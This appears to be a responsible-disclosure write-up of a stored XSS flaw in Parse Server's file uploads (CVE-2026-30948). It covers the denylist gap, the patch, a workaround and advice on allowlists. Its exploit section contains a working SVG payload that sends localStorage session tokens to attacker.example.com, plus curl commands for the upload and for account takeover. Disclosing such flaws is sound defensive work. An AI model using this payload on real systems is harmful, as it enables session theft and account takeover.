TL;DR — Parse Server — 21,000+ GitHub stars, 23,000+ weekly npm downloads — has a stored XSS vulnerability in its file upload handling. The default fileExtensions denylist blocks HTML files but forgot about SVG. Any authenticated user can upload an SVG file containing embedded JavaScript. Parse Server serves it inline with Content-Type: image/svg+xml and no protective headers, so the browser happily executes the script in the Parse Server origin. From there, it's one localStorage read away from stealing session tokens and full account takeover. Every deployment where file upload is enabled for authenticated users — which is the default — is affected. Assigned CVE-2026-30948.

why this matters

File upload is one of those features that looks simple until it isn't. Parse Server lets authenticated users upload files out of the box. It maintains a denylist of dangerous file extensions to prevent abuse. The denylist was designed to stop exactly this kind of attack — serving active content from the server's origin. But it only thought about HTML.

SVG is XML. XML can contain <script> tags. When a browser receives an SVG with Content-Type: image/svg+xml, it parses and executes any embedded JavaScript. This isn't a browser bug — it's by design. SVGs are interactive documents. And because Parse Server serves uploaded files from its own origin, that JavaScript runs with full access to everything stored under that origin: cookies, localStorage, sessionStorage.

Parse Server stores session tokens in localStorage. One malicious SVG, one click, full account takeover.

the root cause

SVG as an XSS vector

Most developers think of SVG as an image format. It is — but it's also a fully scriptable XML document. A minimal XSS payload in SVG looks like this:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    alert(document.domain);
  </script>
</svg>

When a browser navigates to this file served as image/svg+xml, it renders the SVG and executes the script. No user interaction beyond clicking a link. No special browser settings. This is standard behavior in every major browser.

the denylist gap

Parse Server's default file extension denylist is defined as a regex:

// Default fileExtensions regex — blocks HTML variants only
/^(?![xXsS]?[hH][tT][mM][lL]?$)/

This blocks html, htm, shtml, xhtml, and their case variations. It does not block svg. The regex was clearly written with HTML in mind, but SVG carries the exact same risk — it's a content type that browsers will execute scripts from.

So when an authenticated user uploads malicious.svg, Parse Server checks the extension against the denylist, finds no match, accepts the file, and stores it. When anyone requests that file, Parse Server serves it with Content-Type: image/svg+xml and no Content-Disposition: attachment header, no Content-Security-Policy header, no X-Content-Type-Options — nothing to prevent inline rendering and script execution.

the exploit

step 1: craft the SVG payload

A weaponized SVG that steals session tokens from localStorage and exfiltrates them:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <text x="10" y="50" font-size="12">Loading...</text>
  <script>
    // Grab Parse session token from localStorage
    var keys = Object.keys(localStorage);
    var stolen = {};
    for (var i = 0; i < keys.length; i++) {
      stolen[keys[i]] = localStorage.getItem(keys[i]);
    }
    // Exfiltrate to attacker-controlled server
    new Image().src = "https://attacker.example.com/collect?data="
      + encodeURIComponent(JSON.stringify(stolen));
  </script>
</svg>

The SVG renders a harmless "Loading..." text while silently dumping everything in localStorage to the attacker. In a Parse Server context, this includes session tokens stored by the Parse JS SDK.

step 2: upload the file

Any authenticated user can upload files. The Parse REST API makes this trivial:

# Upload malicious SVG — authenticated user, no special privileges
curl -X POST "http://localhost:1337/parse/files/innocent-chart.svg" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "X-Parse-Session-Token: r:attacker_session" \
  -H "Content-Type: image/svg+xml" \
  --data-binary '@malicious.svg'
# Returns: {"url":"http://localhost:1337/parse/files/APP_ID/abc123_innocent-chart.svg","name":"abc123_innocent-chart.svg"}

Parse Server accepts the upload. The .svg extension passes the denylist check. The file is now stored and publicly accessible at the returned URL.

step 3: deliver the link

The attacker shares the file URL with the victim — via chat, email, embedded in a forum post, or even set as a profile avatar that other users' browsers will load. When the victim's browser navigates to or renders the SVG, the script executes in the Parse Server's origin:

// What the attacker receives at their collection endpoint:
{
  "Parse/APP_ID/currentUser": "{\"sessionToken\":\"r:victim_token_here\",\"objectId\":\"abc123\",...}",
  "Parse/APP_ID/installationId": "def456-..."
}

step 4: account takeover

With the stolen session token, the attacker has full access to the victim's account:

# Use stolen session token to access victim's data
curl "http://localhost:1337/parse/users/me" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "X-Parse-Session-Token: r:victim_token_here"
# Returns: full victim user object

# Modify victim's data
curl -X PUT "http://localhost:1337/parse/users/VICTIM_ID" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "X-Parse-Session-Token: r:victim_token_here" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}'

Game over. The attacker owns the account.

impact

ImpactDetail
Stored XSSMalicious SVG persists on the server and executes on every view
Session token theftJavaScript in SVG reads Parse session tokens from localStorage
Account takeoverStolen session tokens grant full read/write access to victim's account
Default configurationAll deployments with file upload enabled for authenticated users (the default) are affected
Low barrierAny authenticated user can upload — no admin or special privileges required

The attack is stored, not reflected. Once the SVG is uploaded, it stays on the server and fires every time someone accesses it. An attacker could upload it once and harvest session tokens from every user who views it — especially devastating if SVG files are used as avatars, shared assets, or embedded in user-generated content.

the fix

The patch adds svg (case-insensitive) to the default file extension denylist. The regex changes from:

// Before: only blocks HTML variants
/^(?![xXsS]?[hH][tT][mM][lL]?$)/

// After: blocks HTML variants AND SVG
/^(?!([xXsS]?[hH][tT][mM][lL]?|[sS][vV][gG])$)/

Patched versions:

Workaround: If you can't update immediately, configure the fileExtensions option to block SVG manually:

// In your Parse Server configuration
{
  fileExtensions: ['^(?!([xXsS]?[hH][tT][mM][lL]?|[sS][vV][gG])$)']
}

the broader pattern

This is a textbook example of why denylists are dangerous for security boundaries. The original denylist was written to block "dangerous file types" and only enumerated HTML variants. But the set of file types that can execute JavaScript in a browser is larger than just HTML: SVG, XML with XSLT, MHTML, and potentially others depending on browser behavior. Every time a new active content type is recognized, the denylist needs updating. And if you miss one, you have a vulnerability.

An allowlist inverts the problem. Instead of asking "which file types are dangerous?" (unbounded, evolving), you ask "which file types are safe?" (bounded, known). Image uploads? Allow png, jpg, gif, webp. Document uploads? Add pdf, docx. You enumerate what you want, not what you fear. Anything not on the list is rejected by default.

The denylist approach will always be playing catch-up. Today it's SVG. Tomorrow it might be another XML-based format that browsers decide to execute. An allowlist doesn't have that problem — unknown formats are blocked by default.

Even with the denylist fix, there are additional defense-in-depth measures that would have prevented exploitation: serving uploaded files from a separate origin (a dedicated file-serving domain or CDN), adding Content-Disposition: attachment to force downloads instead of inline rendering, or setting a restrictive Content-Security-Policy on file responses. Any one of these would have broken the exploit chain. None were present.

disclosure timeline

DateEvent
Mar 7, 2026Vulnerability reported to parse-community via GitHub Security Advisory
Mar 8, 2026Maintainer confirmed the vulnerability and began fix
Mar 10, 2026CVE-2026-30948 assigned by GitHub
Mar 10, 2026Patched versions released (9.5.2-alpha.4, 8.6.17)

This vulnerability was reported through responsible disclosure to the parse-community security team.